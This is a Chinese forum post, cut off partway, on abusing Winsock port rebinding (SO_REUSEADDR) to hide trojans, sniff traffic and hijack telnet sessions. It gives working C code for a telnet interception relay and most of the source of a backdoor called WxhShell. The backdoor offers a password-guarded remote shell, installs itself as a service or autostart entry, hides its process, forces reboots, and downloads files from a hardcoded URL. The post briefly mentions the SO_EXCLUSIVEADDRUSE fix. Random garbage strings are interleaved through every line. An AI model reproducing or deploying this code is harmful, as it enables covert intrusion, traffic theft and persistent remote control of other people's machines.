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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &fOdlQ?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $t~@xCi]S  
B@y(.  
  saddr.sin_family = AF_INET; <7_KeOLJ  
::5E8919  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !#2=\LUC  
?GA&f2]a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ORN6vX(1  
"LhvzM-<8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "O[j!fG8,  
N587(wZ  
  这意味着什么?意味着可以进行如下的攻击: o>Er_r  
6w[}&pX"z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j*v40mXl`2  
? "/ fPV-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Iu@y(wyg  
-r7]S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SOZPZUUEJ  
%dST6$Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *?ITns W<  
Ih}1%Jq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pd[ncL  
LQYy;<K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fvq,,@23  
H*^\h?s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i_R e*  
3REx45M2  
  #include nlYR-.  
  #include O,2~"~kF  
  #include '*^yAlgtt  
  #include    $2^`Uca  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +  @9.$6N  
  int main() &,\=3 '  
  { V r(J+1@  
  WORD wVersionRequested; N,dT3we  
  DWORD ret; M 3 '$[  
  WSADATA wsaData; '_\;jFAM  
  BOOL val; $''?HjB}T  
  SOCKADDR_IN saddr; }9HmTr|  
  SOCKADDR_IN scaddr; {`=0 |oP}  
  int err; K,'*Dz  
  SOCKET s; |BT MJ:B  
  SOCKET sc; vbx6I>\Y  
  int caddsize; IQ< MyB(  
  HANDLE mt; F~:O.$f]G  
  DWORD tid;   @`opDu!  
  wVersionRequested = MAKEWORD( 2, 2 ); :2 >hoAJJ  
  err = WSAStartup( wVersionRequested, &wsaData ); TGXa,A{  
  if ( err != 0 ) { B vo5-P6XY  
  printf("error!WSAStartup failed!\n"); g]c[O*NTL  
  return -1; |Xi%   
  } u 's`*T@.  
  saddr.sin_family = AF_INET; 3A:q7#m  
   Wz4&7KYY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zya5Jb:Sg  
\Ng\B.IQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3f " %G\  
  saddr.sin_port = htons(23); vK7\JZ>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UJfT!==U  
  { >d"3<S ; b  
  printf("error!socket failed!\n"); n\Fp[9+Z\  
  return -1; 7!,YNy%  
  } Aa0b6?Jm  
  val = TRUE; RIu~ @  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hz;|NW{u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z/x*Y#0@n  
  { f<=Fsl  
  printf("error!setsockopt failed!\n"); p.}Ls)I  
  return -1; ]5~s "fnG  
  } Y2B &go  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _lzyMEdr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LMi:%i%\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9a\nszwa  
JO=[YoTr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;6@r-r  
  { 2?m.45`  
  ret=GetLastError();  ~ ~uAc_  
  printf("error!bind failed!\n"); 8l}1c=A}Vi  
  return -1; y@2epY?{  
  } H>9CW<8  
  listen(s,2); alh >"9~!  
  while(1) `Y-|H;z  
  { o1&:ry  
  caddsize = sizeof(scaddr); -<jL~][S  
  //接受连接请求 Fhv/[j^X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g  %K>  
  if(sc!=INVALID_SOCKET) } VJfJ/  
  { kGpa\c g1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Wg{k$T_>  
  if(mt==NULL) Go,N>HN  
  { ReiB $y6  
  printf("Thread Creat Failed!\n"); 26X+ }^52  
  break; m)V/L]4  
  } '(? uPr  
  } }:0uo5 B7  
  CloseHandle(mt); (feTk72XX  
  } ?USQlnr:R/  
  closesocket(s); G} eUL|S  
  WSACleanup(); x21dku<6K[  
  return 0; p!]6ll^  
  }   ~~/xR s  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9/+Nj/  
  { :o:e,WKxb  
  SOCKET ss = (SOCKET)lpParam; $^u}a   
  SOCKET sc; b:qY gg  
  unsigned char buf[4096]; 2G$SpfeIu  
  SOCKADDR_IN saddr; pg]BsJN  
  long num; S'oGt&Z<  
  DWORD val; Z/rP"|EuQ  
  DWORD ret; 1B),A~Ip  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tXJU vish  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VG/3xR&y  
  saddr.sin_family = AF_INET; U hIDRR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K)TrZ 2  
  saddr.sin_port = htons(23); %|G"-%_E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ax!+P\\2~  
  { ~Lc066bLeq  
  printf("error!socket failed!\n"); XqM3<~$  
  return -1; cYXM__  
  } /1?R?N2>0  
  val = 100; -hC,e/+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r`c_e)STO  
  { qY\f'K}Q*  
  ret = GetLastError(); b64 @s2]  
  return -1; x `V;Y]7'  
  } n$xQ[4eH)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0]HYP;E"U  
  { (98Nzgxgx}  
  ret = GetLastError(); :eo  
  return -1; CK, 6ytB  
  } e #/E~r&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .9O$G2'oh  
  { 1-.~7yC  
  printf("error!socket connect failed!\n"); p4VeRJk%  
  closesocket(sc); zhY+x<-  
  closesocket(ss); *T0q|P~o%  
  return -1; /?'; nGq  
  } 'zh7_%  
  while(1) ]kG(G%r|M  
  { s,a}?W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^5r9 5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DcSnia62f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?5kHa_^  
  num = recv(ss,buf,4096,0); =2w4C_  
  if(num>0) 1Bxmm#  
  send(sc,buf,num,0); r! Ay :r  
  else if(num==0) +a^F\8H  
  break; 5BBD.!  
  num = recv(sc,buf,4096,0); /%lZu^  
  if(num>0) {BHI1Uw  
  send(ss,buf,num,0); pRSOYTebP  
  else if(num==0) Gycm,Cy  
  break; dg4vc][  
  } []s^   
  closesocket(ss); l }XU 59  
  closesocket(sc); bI|2@H V2  
  return 0 ; vM_:&j_?``  
  } )}9rwZ  
xC C:BO`pw  
t43)F9!  
========================================================== <3,<\ub  
b,8{ X<  
下边附上一个代码,,WXhSHELL 43V}# DA@  
VY)s+Bx  
========================================================== q\\gpCgp  
vFEQ7 qI  
#include "stdafx.h" DNP13wp@  
.jMq  
#include <stdio.h> }MUn/ [x  
#include <string.h> gk`zA  
#include <windows.h> Z4IgBn(Z_}  
#include <winsock2.h> '=P7""mN5  
#include <winsvc.h> 1 hg}(Hix  
#include <urlmon.h> JmEj{K<3I  
F:mq'<Q  
#pragma comment (lib, "Ws2_32.lib") BL&LeSa  
#pragma comment (lib, "urlmon.lib") 7t.!lh5G%  
KD^N)&k^Kp  
#define MAX_USER   100 // 最大客户端连接数 ZoArQ(YFy  
#define BUF_SOCK   200 // sock buffer h;3cd0  
#define KEY_BUFF   255 // 输入 buffer ytNO*XoR  
&HSq(te  
#define REBOOT     0   // 重启 vzmc}y G  
#define SHUTDOWN   1   // 关机 =~p>`nV  
-\#0]F:-  
#define DEF_PORT   5000 // 监听端口 ``E/m<r:$  
}<'5 z qS  
#define REG_LEN     16   // 注册表键长度 E@Ad'_H  
#define SVC_LEN     80   // NT服务名长度 .KdyJ6o  
s=[h?kB  
// 从dll定义API ,!U=|c"k)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U!Ek'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |^@dFOz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ul*Qt}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )Pv9_XKJ  
}pJwj  
// wxhshell配置信息 P (S>=,Y&  
struct WSCFG { 0T46sm r  
  int ws_port;         // 监听端口 'fPdpnJ<  
  char ws_passstr[REG_LEN]; // 口令 M`S0u~#tI  
  int ws_autoins;       // 安装标记, 1=yes 0=no \rPbK+G.  
  char ws_regname[REG_LEN]; // 注册表键名 jbR0%X2  
  char ws_svcname[REG_LEN]; // 服务名 E\C9|1)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K(q-?n`<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *YlV-C<}W"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >$2V%};  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WVLHfkN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1IVuSp`{FU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tY <Z'xA?  
VcoOeAKL  
}; <jed!x  
dXnl'pFS  
// default Wxhshell configuration Gm\/Y:U  
struct WSCFG wscfg={DEF_PORT, H8"@iE,  
    "xuhuanlingzhe", v%ioj0,  
    1, zhf.NCSt(  
    "Wxhshell", O eL}EVs8=  
    "Wxhshell", KgR<E  
            "WxhShell Service", QD%L0;j  
    "Wrsky Windows CmdShell Service", im @h -A]0  
    "Please Input Your Password: ", L QjsOo  
  1, yBI'djL~>  
  "http://www.wrsky.com/wxhshell.exe", T*KMksjxm`  
  "Wxhshell.exe" 7k8pZ  
    }; JY6 Q p  
XU"~h64]  
// 消息定义模块 $1v&azM.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k?'B*L_Mzv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i'\T R|qd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4rrSb*  
char *msg_ws_ext="\n\rExit."; /d%=E  
char *msg_ws_end="\n\rQuit."; >KJ+-QuO&  
char *msg_ws_boot="\n\rReboot..."; ) Yd?m0m*  
char *msg_ws_poff="\n\rShutdown..."; r\/+Oa'  
char *msg_ws_down="\n\rSave to "; M|R b&6O  
x*/S*!vx\  
char *msg_ws_err="\n\rErr!"; oJfr +3I  
char *msg_ws_ok="\n\rOK!"; F;]%V%F.X  
-a-(r'Qc(  
char ExeFile[MAX_PATH]; [Jv@J\  
int nUser = 0; =%/)m:f!^  
HANDLE handles[MAX_USER]; YIjTL!bA"  
int OsIsNt; nvPwngEQm  
q`r**N+zn  
SERVICE_STATUS       serviceStatus; l'eyq}&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6R^^.tCs  
RU\/j%^  
// 函数声明 =AuR:Tx  
int Install(void); k1!@^A  
int Uninstall(void); Sy 'Dp9!|  
int DownloadFile(char *sURL, SOCKET wsh); o>VVsH  
int Boot(int flag); ye MB0Z*r  
void HideProc(void); ZMq6/G*fD  
int GetOsVer(void); s)pbS}L  
int Wxhshell(SOCKET wsl); Sm5H_m!  
void TalkWithClient(void *cs); ' MxrQ;|S  
int CmdShell(SOCKET sock); ,S!azN=  
int StartFromService(void); }+sT4'Ah>  
int StartWxhshell(LPSTR lpCmdLine); F|!){=   
1@-Ns  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <%" b9T`'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hq #?kN  
\o^2y.q:>  
// 数据结构和表定义 G nG>7f[v  
SERVICE_TABLE_ENTRY DispatchTable[] = qo|WXwP2  
{ sQ\8>[]   
{wscfg.ws_svcname, NTServiceMain}, $b mLu=9  
{NULL, NULL} ,KFapz!  
}; tdu$pC6  
p}~qf  
// 自我安装 % oo2/aF  
int Install(void) pJtex^{!:  
{ %ALwz[~]  
  char svExeFile[MAX_PATH]; 1{JV}O  
  HKEY key; ;&)-;l7M  
  strcpy(svExeFile,ExeFile); WILMH`  
>=-(UA  
// 如果是win9x系统,修改注册表设为自启动 hr)B[<9  
if(!OsIsNt) { aYSCw 3C<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t)}scf&^x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;-qO'V:;  
  RegCloseKey(key); ~W-PD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uw7h=UQh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ (jKz}'~U  
  RegCloseKey(key); MpR2]k#n<  
  return 0; HKUn`ng  
    } b"{'T]"*j  
  } N=7pK&NHSG  
} k-^mIJo}  
else { 5f 5f0|ok  
ilqy /fL#  
// 如果是NT以上系统,安装为系统服务 H|HYo\@F#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); av|g}xnj  
if (schSCManager!=0) ?snp8W-WB  
{ 4v{o  
  SC_HANDLE schService = CreateService Ob<{G"  
  ( :Nz2z[W$  
  schSCManager, =7m)sxj]w  
  wscfg.ws_svcname, ~o~!+`@q  
  wscfg.ws_svcdisp, pW J Fz-  
  SERVICE_ALL_ACCESS, V: TM]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L bmawi^  
  SERVICE_AUTO_START, XcUwr  
  SERVICE_ERROR_NORMAL, VG ;kPzze  
  svExeFile, "[ZB+-|[0  
  NULL, /x p|  
  NULL, }xh$T'M8  
  NULL, oc>{?.^  
  NULL, ,1+y/{S  
  NULL _dhgAx-H)h  
  ); #;2n;.a  
  if (schService!=0) 8p:e##%  
  { CmoE _8U>  
  CloseServiceHandle(schService); v : OR   
  CloseServiceHandle(schSCManager); /^#;d UB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {C N~S*m  
  strcat(svExeFile,wscfg.ws_svcname); 4?q <e*W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >]vlkA(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2OVRf0.R~  
  RegCloseKey(key); )x=1]T>v"'  
  return 0; =E#%'/ A;c  
    } 2KYw}j|5  
  } S(*sw 0O@+  
  CloseServiceHandle(schSCManager); %_%Q 8,W  
} #W.#Hjpp  
} 2Tp1n8FV  
M:[ %[+6  
return 1; I7n"&{s"*  
} naR0@Q"\h  
+{f:cea (1  
// 自我卸载 @a0DT=>dT  
int Uninstall(void) Ni-xx9)=  
{ 9\BT0kx  
  HKEY key; [`"ZjkR_J  
%1xb,g KO  
if(!OsIsNt) { zv\kPfGDK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AW!?"xdZ  
  RegDeleteValue(key,wscfg.ws_regname); n%.7h3  
  RegCloseKey(key); /YMj-S_b~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '6cWS'9"  
  RegDeleteValue(key,wscfg.ws_regname); Enn"hdI  
  RegCloseKey(key); 1;Cyz)  
  return 0; LcTt)rs f  
  } Ch|jtVeuyJ  
} f$Fhf ?'  
} R5 - @  
else { P"IPcT%Ob%  
%u5L!W&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CFMo)"  
if (schSCManager!=0) RbP6F*f  
{ Rnr(g;2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q/(K$6]j  
  if (schService!=0) lvBx\e;7P  
  { koZ*+VP=  
  if(DeleteService(schService)!=0) { jD<{t  
  CloseServiceHandle(schService); 2db3I:;E  
  CloseServiceHandle(schSCManager); ZQ%'`q\c  
  return 0;  ~- _kM  
  } Gi?/C&1T  
  CloseServiceHandle(schService); V)~.~2$  
  } xSsa(b  
  CloseServiceHandle(schSCManager); - -HZX  
} H Y&DmE  
} [S9K6%w_!  
;5S9y7[i|  
return 1; 1Z+8r  
} W14 J],{L  
!Sh&3uy_qN  
// 从指定url下载文件 C'.L20qW  
int DownloadFile(char *sURL, SOCKET wsh) Bn#?zI  
{ j7$e28|_n  
  HRESULT hr; !sQY&*  
char seps[]= "/"; ZojI R\F^  
char *token; ff,pvk8N5  
char *file; _VRpI)mu  
char myURL[MAX_PATH]; @s ?  
char myFILE[MAX_PATH]; l1OE!W W  
P2BWuh F  
strcpy(myURL,sURL); +./H6!  
  token=strtok(myURL,seps); e,vvzs o  
  while(token!=NULL) %et } A93  
  { *`ua'"="k  
    file=token; n 22zq6m  
  token=strtok(NULL,seps); )_syZ1j  
  } ; >hNt  
&5fJPv &  
GetCurrentDirectory(MAX_PATH,myFILE); c'>/  
strcat(myFILE, "\\"); f_jo+z{-ik  
strcat(myFILE, file); >z{d0{\  
  send(wsh,myFILE,strlen(myFILE),0); XHK<AO^  
send(wsh,"...",3,0); DS.RURzd{r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A}G7l?V&  
  if(hr==S_OK) dMf:h"7  
return 0; 8<S~Z:JK  
else lYVz 3p  
return 1; dx5#\"KX=,  
9ifDcYl  
} ~dgDO:)  
?I_s0k I  
// 系统电源模块 %GjM(;Tk  
int Boot(int flag) p{amC ;cI$  
{ =9'RM>  
  HANDLE hToken; n$x c];j  
  TOKEN_PRIVILEGES tkp; f9t6q*a`%  
W>Y@^U&x`  
  if(OsIsNt) { tZ: _ag)o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fHE <(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a oD`=I*<  
    tkp.PrivilegeCount = 1; z1PBMSG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -LK B$   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m[? E  
if(flag==REBOOT) { |oH,   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #%a;"w  
  return 0; jaTh^L  
} 3oGt3 F{gZ  
else { 'y;EhOwj,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sT3^hY7  
  return 0; dpAjR  
} Su 586;\  
  } #I{h\x><?  
  else { :1cV;gJ  
if(flag==REBOOT) { gn8R[5:!V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8'r2D+Vwm  
  return 0; B:b5UD  
} ZXqSH${Tp  
else { B8.Pn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ] bM)t<  
  return 0; 6}gls}[0{e  
} 1L%CJ+Q#0i  
} 8 ##-EN;ag  
#a/5SZP Z\  
return 1; wa<MRt W=  
} I WTwz!+  
lGV0 *Cji  
// win9x进程隐藏模块 /f:dv?!km  
void HideProc(void) =)M/@T  
{ Hu\B"fdS  
R0P iv:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nOt&pq7  
  if ( hKernel != NULL ) zvYq@Mhr  
  { yh Yb'GK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s>B5l2Q4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j`JMeCG=Ee  
    FreeLibrary(hKernel); V, Z|tB^  
  } s1M Erd  
,~aQL  
return; nF54tR[  
} |'.*K]Yp  
1Ce@*XBU  
// 获取操作系统版本 yQ_B)b  
int GetOsVer(void) r54&XE]O  
{ !POl;%\  
  OSVERSIONINFO winfo; Buf/@B7+\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RY]#<9>M  
  GetVersionEx(&winfo); 4^p5&5F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JmF l|n/H  
  return 1; iQ tN Aj  
  else o1-m1<ft  
  return 0; 3B1XZm  
} #ZJ _T`l  
h%o%fH&F!  
// 客户端句柄模块 gy,ht3  
int Wxhshell(SOCKET wsl) Fu SL}P  
{ ZOft.P O  
  SOCKET wsh; In:9\7~jC  
  struct sockaddr_in client; t9,\Hdo  
  DWORD myID; mPOGidxix  
K{x\4  
  while(nUser<MAX_USER) $Z!`Hb  
{ (X $=Q6  
  int nSize=sizeof(client); m4TE5q%3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %z /hf  
  if(wsh==INVALID_SOCKET) return 1; Uddr~2%(  
Q}1 R5@7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [=E  
if(handles[nUser]==0) &R[ M c-2  
  closesocket(wsh); -d~4A  
else FK:;e lZ  
  nUser++; dU6ou'p f  
  } ,p4&g)o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |*oZ _gI  
))R5(R  
  return 0; q+Lr"&'Q  
} t|H^`Cv6  
cQ/5qg  
// 关闭 socket f1`gdQ)H  
void CloseIt(SOCKET wsh) !Z`j2 e}  
{ aUzBV\Yd}  
closesocket(wsh); :V1W/c  
nUser--; MC?,UDNd%  
ExitThread(0); gcE|#1>  
} #D<C )Q  
bP8Sj16q  
// 客户端请求句柄 O;z,qo X  
void TalkWithClient(void *cs) s:OFVlC%\  
{ 1/RsptN"v  
5A%w 8Qv  
  SOCKET wsh=(SOCKET)cs; b1^vd@(lx  
  char pwd[SVC_LEN]; FemC Lvu  
  char cmd[KEY_BUFF]; PpGL/,]X  
char chr[1]; w Qgo N%  
int i,j; ||T2~Q*:y  
8 BY j  
  while (nUser < MAX_USER) { lphFhxJA{  
O*eby*%h  
if(wscfg.ws_passstr) { | h`0u'#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {HL3<2=o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZRv*!n(Ug<  
  //ZeroMemory(pwd,KEY_BUFF); D!Q">6_"z  
      i=0; ;o^eC!:/%  
  while(i<SVC_LEN) { &+a9+y  
,oN8HpGs  
  // 设置超时 k'gh  
  fd_set FdRead; m`IC6*  
  struct timeval TimeOut; 6o |kIBte-  
  FD_ZERO(&FdRead); {G|,\O1  
  FD_SET(wsh,&FdRead); [DJflCR&  
  TimeOut.tv_sec=8; s8QM ewU  
  TimeOut.tv_usec=0; ?Y)vGlWDW<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tkVbo.[8K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pA`+hQNN  
nA?`BOe(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3!3xCO  
  pwd=chr[0]; l]@&D#3ZM  
  if(chr[0]==0xd || chr[0]==0xa) { $k|g"9  
  pwd=0; G %N $C  
  break; BHd&yIyI  
  } k ]W[`  
  i++; P::TO-C  
    } 9iXeBC  
,/YF-L$(t  
  // 如果是非法用户,关闭 socket 6,"IDH|ND  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;6gDV`Twy  
} j Yx38_5e  
-#0qV:D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tna .52*/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]p*l%(dhY  
V\6=ySx  
while(1) { VOKZ dC-  
p%iGc<vHX  
  ZeroMemory(cmd,KEY_BUFF); 3Dg,GaRk  
r^h4z`:L  
      // 自动支持客户端 telnet标准   x N=i]~  
  j=0; ]Gpxhg  
  while(j<KEY_BUFF) { Yb:\a/ y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H70LhN  
  cmd[j]=chr[0]; 8j Mk)-  
  if(chr[0]==0xa || chr[0]==0xd) { H]Cy=Zi"  
  cmd[j]=0; P6E3-?4j  
  break; &/mA7Vf>eR  
  } nS/)P4z  
  j++; d1T,eJ}  
    } B,M(@5wz  
UV5Ie!\nm  
  // 下载文件 4 d;|sI@  
  if(strstr(cmd,"http://")) { WEFlV4/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0="%Y ^N  
  if(DownloadFile(cmd,wsh)) &?VQ,+[ <  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tDSJpW'd  
  else (]b!{kS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =fu :@+  
  } L~_9_9c  
  else { Z= jr-)kK  
g$( V^  
    switch(cmd[0]) { W;_nK4$%'  
  q/4YS0CqE  
  // 帮助 I*LknU@  
  case '?': { k:*S&$S!E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dArDP[w  
    break; RD\  
  } 0zo?eI  
  // 安装 9dFy"yxYa  
  case 'i': { +cIUGF p}  
    if(Install()) k9)jjR*XxG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Pnk5ps }h  
    else < XP9@t&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'pm2n0  
    break; m6n?bEl6I  
    } W)9K`hM6  
  // 卸载 d_4T}% q  
  case 'r': { Vm%1> '&  
    if(Uninstall()) $P>`m$(8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ${+ @gJ+S  
    else cU0s p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S?RN?1  
    break; cj+ FRG~u  
    } i%ZW3MrY~  
  // 显示 wxhshell 所在路径 5V5%/FU m  
  case 'p': { TftHwe):V  
    char svExeFile[MAX_PATH]; +SsK21f"r  
    strcpy(svExeFile,"\n\r"); |o,8V p  
      strcat(svExeFile,ExeFile); +#GQ,  
        send(wsh,svExeFile,strlen(svExeFile),0); =g/{%;  
    break; kHXL8k#T  
    } SfgU`eF%B  
  // 重启 =3q/F7-  
  case 'b': { mu?Eco`~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )p T?/ J  
    if(Boot(REBOOT)) 7s"< 'cx_F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VS9`{  
    else { 3BB%Z 6F  
    closesocket(wsh); D!.[q-<  
    ExitThread(0); ()K " c#  
    } dlJbI}-v=  
    break; Y3r%B9~  
    } 2rmSo&3@s  
  // 关机 M>&%(4K  
  case 'd': { T _sTC)&a  
